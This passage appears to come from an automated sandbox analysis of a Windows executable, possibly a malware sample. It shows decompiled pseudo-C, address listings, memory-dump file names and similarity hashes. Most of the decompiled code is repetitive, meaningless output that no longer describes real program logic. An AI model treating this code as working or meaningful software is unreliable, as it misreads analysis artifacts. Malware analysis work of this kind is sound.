        												_t169 = _t169 + 1;
        												_t167 = _t167 + 1;
        												_t160 = _t160 + 2;
        												_push(_t156);
        												 *_t104 =  *_t104 + _t104;
        											}
        											_t105 = _t104 + 0x5370ff0;
        											_t163 = _t163 +  *((intOrPtr*)(_t156 + _t166));
        											 *_t105 =  *_t105 + _t105;
        											 *_t156 =  *_t156 + 1;
        											 *[es:eax] =  *[es:eax] + _t105;
        											L30:
        											 *_t105 =  *_t105 + _t105;
        											 *_t167 =  *_t167 + _t105;
        											_push(es);
        											 *((intOrPtr*)(_t156 + 0x6f)) =  *((intOrPtr*)(_t156 + 0x6f)) + _t105;
        											L31:
        											asm("insd");
        											asm("bound ebp, [edi+0x31]");
        											 *_t166 =  *_t166 + _t105;
        											asm("scasd");
        											_t107 = _t105 + 0xd8c0753;
        										} else {
        											asm("outsd");
        											asm("outsb");
        											_t155 = _t105 ^  *_t105;
        											_push(es);
        											 *0x63656400 =  *0x63656400 + _t155;
        											_t168 =  *_t168 * 0xc8043805;
        											asm("sbb [edi], eax");
        											_t156 = _t156 | _t160;
        											 *_t163 =  *_t163 + _t163;
        											_t101 = _t155 + 0x2c03ff00;
        											goto L14;
        										}
        									}
        								}
        							}
        						}
        					}
        					 *((intOrPtr*)(_t167 + _t107)) =  *((intOrPtr*)(_t167 + _t107)) + _t160;
        					_t31 = _t156 + 0x79;
        					 *_t31 =  *((intOrPtr*)(_t156 + 0x79)) + _t163;
        					if( *_t31 < 0) {
        						 *[gs:ebx] =  *[gs:ebx] + _t163;
        						 *_t107 =  *_t107 + _t107;
        						 *_t156 =  *_t156 + 1;
        						_t166 = _t166 - 1;
        						 *_t107 =  *_t107 + _t107;
        						 *_t166 =  *_t166 + _t107;
        						_t147 = _t107 + 0x74614400;
        						asm("popad");
        						 *_t147 =  *_t147 ^ _t147;
        						_t148 = _t147 & 0x880d2002;
        						_push(cs);
        						if(_t148 != 0) {
        							_t148 = _t148 - 1;
        							asm("adc cl, [eax+eax]");
        						}
        						 *_t160 =  *_t160 + _t148;
        						asm("arpl [eax], ax");
        						asm("arpl [eax], ax");
        						 *[gs:ebx] =  *[gs:ebx] + _t163;
        						if ( *[gs:ebx] >= 0) goto L36;
        						 *_t148 =  *_t148 & _t148;
        						_t149 = _t148 ^  *_t148;
        						 *_t149 =  *_t149 ^ _t149;
        						 *_t149 =  *_t149 ^ _t149;
        						 *_t149 =  *_t149 ^ _t149;
        						asm("adc eax, [eax]");
        						 *_t167 =  *_t167 + _t163;
        						 *_t166 =  *_t166 + _t163;
        						 *_t149 =  *_t149 + _t156;
        						 *_t149 =  *_t149 + _t149;
        						asm("sbb [0x74614400], eax");
        						asm("popad");
        						 *_t149 =  *_t149 ^ _t149;
        						asm("sbb eax, [eax]");
        						 *0x2d022c01 =  *0x2d022c01 + _t149;
        						_t156 = _t156 + _t156;
        						_t150 = _t149 +  *((intOrPtr*)(_t149 + _t149));
        						 *_t150 =  *_t150 + _t150;
        						_push(es);
        						 *_t150 =  *_t150 + _t150;
        						 *((intOrPtr*)(_t168 + _t156 + 0x42560040)) =  *((intOrPtr*)(_t168 + _t156 + 0x42560040)) + _t156;
        						_t107 = _t150 ^ 0x2a263621;
        						 *_t107 =  *_t107 + _t107;
        						 *_t107 =  *_t107 + _t107;
        						 *_t107 =  *_t107 + _t107;
        						 *_t107 =  *_t107 + _t107;
        						 *_t107 =  *_t107 + _t107;
        					}
        					 *_t107 =  *_t107 + _t107;
        					 *_t167 =  *_t167 + _t156;
        					 *_t107 =  *_t107 + _t107;
        					 *_t107 =  *_t107 + _t107;
        					 *_t107 =  *_t107 + _t107;
        					 *_t107 =  *_t107 + _t107;
        					 *_t107 =  *_t107 + _t107;
        					 *_t107 =  *_t107 + _t107;
        					_t109 = _t107 |  *_t107;
        					 *_t109 =  *_t109 + _t109;
        					 *_t109 =  *_t109 + _t109;
        					 *_t109 =  *_t109 + _t109;
        					 *_t109 =  *_t109 + _t109;
        					ss = cs;
        					_t112 = _t109 + _t109 + 1 + _t163;
        					asm("int1");
        					 *_t160 =  *_t160 ^ _t112;
        					_t157 = _t156;
        					asm("invalid");
        					 *_t112 =  *_t112 | _t112;
        					 *_t112 =  *_t112 + _t112;
        					 *_t112 =  *_t112 + _t112;
        					 *_t112 =  *_t112 + _t112;
        					_t113 = _t112 +  *_t112;
        					 *_t113 =  *_t113 + _t113;
        					goto 0x9040154d;
        					asm("adc eax, 0x14f80040");
        					_t115 = _t113 + 1 + _t163;
        					asm("adc al, [eax]");
        					if (_t115 < 0) goto L39;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115;
        					 *((intOrPtr*)(_t167 - 0x79000000)) =  *((intOrPtr*)(_t167 - 0x79000000)) + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					while(1) {
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						_t158 = _t157 + 1;
        						_t166 = _t166 - 1;
        						_t167 = _t167 + 1;
        						_t160 = _t160 - 1;
        						_push(_t158);
        						_t115 = _t115 - 1;
        						 *((intOrPtr*)(_t160 + 0x6b + _t166 * 2)) =  *((intOrPtr*)(_t160 + 0x6b + _t166 * 2)) + _t163;
        						asm("insd");
        						asm("insb");
        						 *_t115 =  *_t115 + _t115;
        						_push(_t169 + 1);
        						if( *_t115 >= 0) {
        							break;
        						}
        						asm("insd");
        						asm("insb");
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						 *_t115 =  *_t115 + _t115;
        						_t157 = _t158 + _t158;
        						asm("loop 0x19");
        						_t169 = _t115;
        						if(_t157 >= 0) {
        							continue;
        						} else {
        							 *_t115 =  *_t115 + _t115;
        							 *_t115 =  *_t115 + _t115;
        							 *((intOrPtr*)(_t157 - 0x2c)) =  *((intOrPtr*)(_t157 - 0x2c)) + _t157;
        							 *((intOrPtr*)(_t166 + 0x4d326718)) =  *((intOrPtr*)(_t166 + 0x4d326718)) - _t160;
        							_t158 = 0x94;
        							_t160 = _t115;
        							 *[gs:edi+0x75f2] =  *[gs:edi+0x75f2] + _t168;
        						}
        						break;
        					}
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t160 =  *_t160 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *_t115 =  *_t115 + _t115;
        					 *((intOrPtr*)(_t163 + _t115 * 4)) =  *((intOrPtr*)(_t163 + _t115 * 4)) + _t158;
        					 *_t115 =  *_t115 + _t115;
        					 *(_t115 + _t115 * 2) =  *(_t115 + _t115 * 2) << 1;
        					 *((intOrPtr*)(_t115 + _t115 + 0x10000)) =  *((intOrPtr*)(_t115 + _t115 + 0x10000)) + _t158;
        					 *_t115 =  *_t115 + _t115;
        					asm("sbb al, 0x1a");
        					_t116 = _t115 + 1;
        					 *_t116 =  *_t116 + _t116;
        					 *_t116 =  *_t116 + _t116;
        					 *((intOrPtr*)(_t116 + _t168 * 4 - 0xffc0)) =  *((intOrPtr*)(_t116 + _t168 * 4 - 0xffc0)) + _t160;
        					asm("invalid");
        					 *_t116 =  *_t116 + _t116;
        					 *_t116 =  *_t116 + _t116;
        					_t117 =  *0x1c00401a;
        					asm("rol byte [eax], 1");
        					 *_t117 =  *_t117 + _t117;
        					 *_t117 =  *_t117 + _t117;
        					_t162 = _t160 & _t160;
        					 *[cs:eax] =  *[cs:eax] + _t117;
        					 *_t117 =  *_t117 + _t117;
        					 *_t117 =  *_t117 + _t117;
        					 *_t117 =  *_t117 + _t117;
        					 *_t117 =  *_t117 + _t117;
        					 *_t117 =  *_t117 + _t117;
        					 *((intOrPtr*)(_t117 + 0x1004016)) =  *((intOrPtr*)(_t117 + 0x1004016)) + _t162;
        					 *_t117 =  *_t117 + _t117;
        					_t119 = _t117 + _t163 + 1;
        					 *_t119 =  *_t119 + _t119;
        					 *_t119 =  *_t119 + _t119;
        					 *((intOrPtr*)(_t119 + 0x1004016)) =  *((intOrPtr*)(_t119 + 0x1004016)) + _t162;
        					 *_t119 =  *_t119 + _t119;
        					 *((intOrPtr*)(_t119 + 0x4016)) =  *((intOrPtr*)(_t119 + 0x4016)) + _t163;
        					 *_t119 =  *_t119 + _t119;
        					 *((intOrPtr*)(_t167 + _t163 + 0x20040)) =  *((intOrPtr*)(_t167 + _t163 + 0x20040)) + _t162;
        					 *_t119 =  *_t119 + _t119;
        					 *0x00000017 =  *((intOrPtr*)(0x17)) + 0x16;
        					 *((intOrPtr*)(_t166 + 0x6c006801)) =  *((intOrPtr*)(_t166 + 0x6c006801)) + _t163;
        					 *((intOrPtr*)(0x17)) =  *((intOrPtr*)(0x17)) + 0x16;
        					ss = ds;
        					 *((intOrPtr*)(_t158 + 0x40 + _t163 * 8)) =  *((intOrPtr*)(_t158 + 0x40 + _t163 * 8)) + _t158;
        					 *0x00000018 =  *((intOrPtr*)(0x18)) + 0x16;
        					 *((intOrPtr*)(0x18)) =  *((intOrPtr*)(0x18)) + 0x16;
        					 *_t163 =  *_t163 + _t163;
        					_t127 = 0x18 + _t163 + 0x18 + _t163 + 1 + _t163 + 1;
        					 *_t127 =  *_t127 + 0x16;
        					_t128 = _t127 | 0x00003400;
        					 *_t128 =  *_t128 + 0x16;
        					ds = ds;
        					_t129 = _t128 + 1;
        					 *_t162 =  *_t162 + 0x16;
        					 *_t158 =  *_t158 + 0x16;
        					 *_t129 =  *_t129 + 0x16;
        					 *_t129 =  *_t129 + 0x16;
        					 *_t129 =  *_t129 + 0x16;
        					 *_t129 =  *_t129 + 0x16;
        					 *_t129 =  *_t129 + 0x16;
        					ss = ds;
        					_t130 = _t129 + 1;
        					 *((intOrPtr*)(_t158 + 0x2f + _t163 * 2)) =  *((intOrPtr*)(_t158 + 0x2f + _t163 * 2)) + _t163;
        					 *_t130 =  *_t130 + _t163;
        					_pop(ds);
        					_t131 = _t130 + 1;
        					 *_t162 =  *_t162 + 0x16;
        					 *_t158 =  *_t158 + 0x16;
        					 *_t131 =  *_t131 + 0x16;
        					_pop(ds);
        					 *_t131 =  *_t131 + _t158;
        					 *_t131 =  *_t131 + 0x16;
        					_t132 = _t131 + _t131;
        					asm("sbb eax, [eax]");
        					asm("invalid");
        					asm("invalid");
        					 *_t132 =  *_t132 + 0x16;
        					 *_t132 =  *_t132 + 0x16;
        					 *_t132 =  *_t132 + 0x16;
        					 *_t132 =  *_t132 + 0x16;
        					_pop(ss);
        					_t133 = _t132 + 1;
        					 *((intOrPtr*)(_t133 + 0x52)) =  *((intOrPtr*)(_t133 + 0x52)) + _t163;
        					asm("das");
        					_t134 = _t133 + _t163;
        					asm("sbb eax, [eax]");
        					asm("invalid");
        					asm("invalid");
        					 *_t134 =  *_t134 + 0x16;
        					 *_t134 =  *_t134 + _t134;
        					 *((intOrPtr*)(0x17)) =  *((intOrPtr*)(0x17)) + _t163;
        					_push(ss);
        					 *((intOrPtr*)(_t163 - 0x4fffbfee)) =  *((intOrPtr*)(_t163 - 0x4fffbfee)) + _t162;
        					asm("adc al, [eax]");
        					 *0x00000019 =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					 *((intOrPtr*)(0x19)) =  *((intOrPtr*)(0x19)) + 0x16;
        					_push(ss);
        					_t140 = 0x19 + _t158 + 1;
        					 *_t140 =  *_t140 + 0x12;
        					_push(ss);
        					 *0xFFFFFFFFB0004024 =  *((intOrPtr*)(0xffffffffb0004024)) + _t162;
        					asm("adc al, [eax]");
        					_t142 = _t140 + 2;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					 *_t142 =  *_t142 + 0x16;
        					_t143 = _t142 + 0x12;
        					 *_t143 =  *_t143 + _t143;
        					 *((intOrPtr*)(0x12 + _t158)) =  *((intOrPtr*)(0x12 + _t158)) + _t158;
        					_t144 = _t143 + 1;
        					 *_t144 =  *_t144 + 0x16;
        					 *_t144 =  *_t144 + 0x16;
        					_t145 = _t144 + 0x12;
        					_t146 = _t145 + 1;
        					 *_t146 =  *_t146 + 0x12;
        					return _t146;
        				}
        				asm("iretw");
        				asm("adc [edi+0xaa000c], esi");
        				asm("pushad");
        				asm("rcl dword [ebx], cl");
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				 *_t101 =  *_t101 + _t101;
        				goto L6;
        			}


















































        0x004012c4
        0x004012c4
        0x004012c4
        0x004012c4
        0x004012c4
        0x004012c4
        0x004012c4
        0x004012c9
        0x004012ce
        0x004012d0
        0x004012d2
        0x004012d4
        0x004012d6
        0x004012da
        0x004012dc
        0x004012de
        0x004012e0
        0x004012e5
        0x004012e5
        0x004012e6
        0x00000000
        0x00000000
        0x004012e8
        0x004012e9
        0x004012ed
        0x004012ee
        0x004012f0
        0x004012f2
        0x004012f4
        0x004012f6
        0x004012f8
        0x004012fa
        0x004012fc
        0x00401300
        0x00401301
        0x00401303
        0x00401304
        0x00401305
        0x00401307
        0x00401309
        0x0040130b
        0x0040130d
        0x0040130e
        0x00401310
        0x00401311
        0x00401313
        0x00401314
        0x00401315
        0x00000000
        0x00401317
        0x0040135b
        0x0040135b
        0x0040135d
        0x0040135f
        0x00401361
        0x00401363
        0x00401366
        0x00401368
        0x0040136c
        0x0040136c
        0x00401315
        0x0040136e
        0x0040136f
        0x0040136f
        0x00401372
        0x00401373
        0x00401374
        0x004013db
        0x004013db
        0x004013dd
        0x004013df
        0x004013e1
        0x004013e3
        0x004013e3
        0x004013e3
        0x00000000
        0x00401376
        0x00401376
        0x00401376
        0x0040137c
        0x0040137d
        0x0040137e
        0x0040137f
        0x004013f4
        0x004013f4
        0x004013fb
        0x004013fb
        0x00000000
        0x00401381
        0x00401381
        0x004013e6
        0x004013e6
        0x00000000
        0x004013e8
        0x004013e8
        0x004013e9
        0x004013ea
        0x004013ec
        0x004013ed
        0x004013ef
        0x004013ef
        0x004013f2
        0x00000000
        0x00000000
        0x00000000
        0x00000000
        0x004013f2
        0x00401383
        0x00401383
        0x00401388
        0x0040138a
        0x0040138f
        0x00401391
        0x00401391
        0x00401391
        0x00401394
        0x00401395
        0x00401396
        0x0040140b
        0x0040140b
        0x0040140d
        0x0040140f
        0x00401410
        0x00401410
        0x00401413
        0x00000000
        0x00401415
        0x00401415
        0x00401416
        0x00401417
        0x00401419
        0x0040141a
        0x0040141c
        0x0040141c
        0x0040141c
        0x0040141f
        0x00000000
        0x00401422
        0x00401422
        0x00401425
        0x00000000
        0x00401425
        0x00401422
        0x0040141f
        0x00401398
        0x00401398
        0x004013fd
        0x004013fd
        0x00401400
        0x00401401
        0x00401402
        0x00401403
        0x00401405
        0x00401405
        0x00401406
        0x00401408
        0x0040140a
        0x00000000
        0x0040139a
        0x0040139f
        0x004013a4
        0x004013a6
        0x004013a8
        0x004013aa
        0x004013ac
        0x004013ac
        0x004013ac
        0x004013ac
        0x004013af
        0x004013b3
        0x004013b5
        0x004013b7
        0x004013b9
        0x004013bb
        0x004013bc
        0x004013bc
        0x004013bf
        0x0040142a
        0x0040142a
        0x0040142c
        0x00401433
        0x00401435
        0x00401437
        0x00401437
        0x0040143e
        0x00401440
        0x00401444
        0x00401448
        0x0040144a
        0x0040144e
        0x00401450
        0x00401451
        0x00401451
        0x00401453
        0x00401459
        0x0040145a
        0x0040145b
        0x0040145c
        0x0040145d
        0x00401460
        0x00401462
        0x00401467
        0x00401468
        0x00401469
        0x0040146a
        0x0040146b
        0x0040146c
        0x0040146d
        0x0040146e
        0x0040146e
        0x00401471
        0x00401476
        0x00401479
        0x0040147b
        0x0040147d
        0x0040147e
        0x0040147e
        0x00401480
        0x00401482
        0x00401483
        0x00401486
        0x00401486
        0x00401487
        0x0040148a
        0x00401491
        0x00401492
        0x004013c1
        0x004013c1
        0x004013c2
        0x004013c3
        0x004013c5
        0x004013c6
        0x004013cc
        0x004013d3
        0x004013d5
        0x004013d7
        0x004013d9
        0x00000000
        0x004013d9
        0x004013bf
        0x00401398
        0x00401396
        0x00401381
        0x0040137f
        0x00401494
        0x00401497
        0x00401497
        0x0040149a
        0x0040149d
        0x004014a0
        0x004014a2
        0x004014a4
        0x004014a5
        0x004014a7
        0x004014a9
        0x004014ae
        0x004014af
        0x004014b1
        0x004014b6
        0x004014b7
        0x004014b9
        0x004014bb
        0x004014bb
        0x004014bd
        0x004014c0
        0x004014c2
        0x004014c4
        0x004014c8
        0x004014ca
        0x004014cc
        0x004014ce
        0x004014d0
        0x004014d2
        0x004014d6
        0x004014d8
        0x004014da
        0x004014dc
        0x004014de
        0x004014e0
        0x004014e6
        0x004014e7
        0x004014e9
        0x004014eb
        0x004014f1
        0x004014f3
        0x004014f6
        0x004014f8
        0x004014f9
        0x004014fb
        0x00401502
        0x00401507
        0x00401509
        0x0040150b
        0x0040150d
        0x0040150f
        0x0040150f
        0x00401511
        0x00401513
        0x00401516
        0x00401518
        0x0040151a
        0x0040151c
        0x0040151e
        0x00401520
        0x00401525
        0x00401527
        0x00401529
        0x0040152b
        0x0040152d
        0x00401531
        0x00401533
        0x00401535
        0x00401536
        0x00401538
        0x0040153a
        0x0040153c
        0x0040153e
        0x00401540
        0x00401542
        0x00401544
        0x00401546
        0x00401548
        0x0040154d
        0x00401553
        0x00401555
        0x00401558
        0x0040155a
        0x0040155c
        0x0040155f
        0x00401565
        0x00401567
        0x00401568
        0x00401568
        0x0040156a
        0x0040156c
        0x0040156e
        0x00401570
        0x00401572
        0x00401574
        0x00401576
        0x00401578
        0x00401579
        0x0040157b
        0x0040157c
        0x0040157d
        0x0040157e
        0x0040157f
        0x00401583
        0x00401584
        0x00401585
        0x00401587
        0x00401588
        0x00000000
        0x00000000
        0x0040158a
        0x0040158b
        0x0040158c
        0x0040158e
        0x00401591
        0x00401593
        0x00401595
        0x00401597
        0x00401598
        0x00000000
        0x0040159a
        0x004015de
        0x004015e1
        0x004015e3
        0x004015e6
        0x004015ec
        0x004015ee
        0x004015ef
        0x004015ef
        0x00000000
        0x00401598
        0x004015f5
        0x004015f7
        0x004015f9
        0x004015fb
        0x004015fd
        0x004015ff
        0x00401601
        0x00401603
        0x00401605
        0x00401607
        0x0040160d
        0x0040160f
        0x00401611
        0x00401613
        0x00401615
        0x00401617
        0x00401619
        0x0040161b
        0x0040161d
        0x0040161f
        0x00401626
        0x00401628
        0x0040162b
        0x00401632
        0x00401634
        0x00401636
        0x00401637
        0x00401639
        0x0040163b
        0x00401642
        0x00401644
        0x00401646
        0x00401648
        0x0040164d
        0x00401650
        0x00401652
        0x00401654
        0x00401656
        0x00401659
        0x0040165b
        0x0040165d
        0x0040165f
        0x00401661
        0x00401663
        0x00401669
        0x0040166e
        0x0040166f
        0x00401671
        0x00401673
        0x00401679
        0x0040167b
        0x00401681
        0x00401683
        0x0040168a
        0x0040168f
        0x00401691
        0x00401697
        0x00401699
        0x0040169b
        0x0040169f
        0x004016a1
        0x004016a5
        0x004016ae
        0x004016af
        0x004016b2
        0x004016b7
        0x004016b9
        0x004016ba
        0x004016bb
        0x004016bd
        0x004016bf
        0x004016c1
        0x004016c3
        0x004016c5
        0x004016c7
        0x004016c9
        0x004016ca
        0x004016cb
        0x004016cf
        0x004016d1
        0x004016d2
        0x004016d3
        0x004016d5
        0x004016d7
        0x004016da
        0x004016db
        0x004016dd
        0x004016df
        0x004016e1
        0x004016e4
        0x004016e6
        0x004016e8
        0x004016ea
        0x004016ec
        0x004016ee
        0x004016f1
        0x004016f2
        0x004016f3
        0x004016f6
        0x004016f7
        0x004016f9
        0x004016fc
        0x004016fe
        0x00401700
        0x00401702
        0x00401707
        0x00401709
        0x0040170b
        0x00401711
        0x00401717
        0x00401719
        0x0040171b
        0x0040171d
        0x0040171f
        0x00401721
        0x00401723
        0x00401725
        0x00401727
        0x00401729
        0x0040172b
        0x0040172d
        0x0040172f
        0x00401731
        0x00401733
        0x00401735
        0x00401737
        0x00401739
        0x0040173b
        0x0040173d
        0x0040173f
        0x00401741
        0x00401743
        0x00401745
        0x00401747
        0x00401749
        0x0040174b
        0x0040174d
        0x00401751
        0x00401752
        0x00401753
        0x00401755
        0x00401757
        0x0040175d
        0x00401762
        0x00401763
        0x00401765
        0x00401767
        0x00401769
        0x0040176b
        0x0040176d
        0x0040176f
        0x00401771
        0x00401773
        0x00401775
        0x00401777
        0x00401779
        0x0040177b
        0x0040177d
        0x0040177f
        0x00401781
        0x00401783
        0x00401785
        0x00401787
        0x00401789
        0x0040178b
        0x0040178d
        0x0040178f
        0x00401791
        0x00401793
        0x00401795
        0x00401797
        0x00401799
        0x0040179b
        0x0040179d
        0x0040179f
        0x004017a1
        0x004017a3
        0x004017a5
        0x004017a7
        0x004017a9
        0x004017ab
        0x004017ad
        0x004017af
        0x004017b1
        0x004017b3
        0x004017b5
        0x004017b7
        0x004017b9
        0x004017bb
        0x004017bd
        0x004017bf
        0x004017c1
        0x004017c3
        0x004017c5
        0x004017c7
        0x004017c9
        0x004017cb
        0x004017cd
        0x004017cf
        0x004017d1
        0x004017d3
        0x004017d5
        0x004017d7
        0x004017d9
        0x004017db
        0x004017dd
        0x004017df
        0x004017e1
        0x004017e3
        0x004017e6
        0x004017e7
        0x004017e9
        0x004017eb
        0x004017ee
        0x004017ef
        0x004017f1
        0x004017f1
        0x00401336
        0x00401338
        0x0040133e
        0x0040133f
        0x00401345
        0x00401347
        0x00401349
        0x0040134b
        0x0040134d
        0x0040134f
        0x00401351
        0x00401353
        0x00401355
        0x00401357
        0x00401359
        0x00000000

        APIs
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: #100
        • String ID: VB5!6&*
        • API String ID: 1341478452-3593831657
        • Opcode ID: d58329d0195ec3eac47cb1d82351496cc58bc07e12ca2c05b6c146b197eb641b
        • Instruction ID: c3ef0e2ac383e71ad4bfb0a1a3e9cd9a82b63ff3d33877fe573e311a4bd251f9
        • Opcode Fuzzy Hash: d58329d0195ec3eac47cb1d82351496cc58bc07e12ca2c05b6c146b197eb641b
        • Instruction Fuzzy Hash: 9191006204E3D09FC7138BB099A25A67FB0AE1331431E45EBC8C1DF5B3E22C595AD726
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 60%
        			E0040A9F4(void* __ebx, void* __edi, void* __esi, signed int _a4) {
        				signed int _v8;
        				intOrPtr _v12;
        				char** _v16;
        				intOrPtr _v28;
        				signed int _v32;
        				intOrPtr _v36;
        				intOrPtr _v40;
        				char _v44;
        				signed int _v48;
        				signed int _v52;
        				char _v56;
        				signed int* _v60;
        				signed int _v64;
        				void* _v76;
        				long long _v84;
        				char* _v88;
        				signed int _v92;
        				char _v96;
        				signed int _v100;
        				char _v104;
        				intOrPtr _v112;
        				char _v120;
        				char _v136;
        				char _v156;
        				char* _v164;
        				char _v172;
        				intOrPtr _v180;
        				char _v188;
        				char _v192;
        				void* _v196;
        				char* _v200;
        				char _v204;
        				char _v208;
        				char _v212;
        				char _v216;
        				char _v220;
        				intOrPtr _v224;
        				char _v228;
        				intOrPtr _v232;
        				char _v236;
        				signed int _v240;
        				signed int _v244;
        				signed int _v248;
        				signed int _v252;
        				intOrPtr* _v256;
        				signed int _v260;
        				signed int _v264;
        				intOrPtr _v268;
        				intOrPtr _v272;
        				signed int _v284;
        				signed int _v288;
        				signed int _v292;
        				void* _v296;
        				intOrPtr* _v300;
        				signed int _v304;
        				signed int* _v308;
        				signed int _v312;
        				intOrPtr* _v316;
        				signed int _v320;
